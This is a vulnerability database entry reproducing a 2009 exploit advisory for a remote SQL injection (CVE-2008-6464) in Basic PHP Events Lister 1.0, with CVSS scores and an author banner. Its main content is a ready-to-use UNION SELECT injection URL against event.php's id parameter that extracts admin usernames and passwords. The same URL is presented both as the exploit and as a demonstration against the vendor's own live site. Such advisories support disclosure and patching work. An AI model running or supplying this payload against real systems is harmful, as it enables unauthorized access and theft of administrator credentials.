Basic PHP Events Lister 1.0 Remote SQL Injection Vulnerability

2009.03.16
Credit: 0x90
Risk: High
Local: No
Remote: Yes
CVE: CVE-2008-6464
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

_____ ____ _____ / _ \ /\ /\ / _ \ / _ \ | | | | \ \/ / ||_| | | | | | | | | | \ / \_ | | | | | | |_| | / \ __\ | | |_| | \_____/ / /\ \ |____/ \_____/ \/ \/ [~] Basic PHP Events Lister Remote SQL Injection [~] Author: 0x90 [~] HomePage: www.0x90.com.ar [~] Contact: Guns[at]0x90[dot]com[dot]ar [~] Script: Basic PHP Events Lister [~] site: http://www.mevin.com [~] Donload: http://www.mevin.com/downloads/Basic-php-events-lister1.0.zip [~] Vulnerability Class: SQL Injection [~] Online Demostration: http://www.mevin.com/downloads/events/event.php?id=-0x90+union+select+0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,concat(uname,0x3a,pword),0x90+from+admin-- [~] Exploit: http://host/event.php?id=-0x90+union+select+0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,concat(uname,0x3a,pword),0x90+from+admin--


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top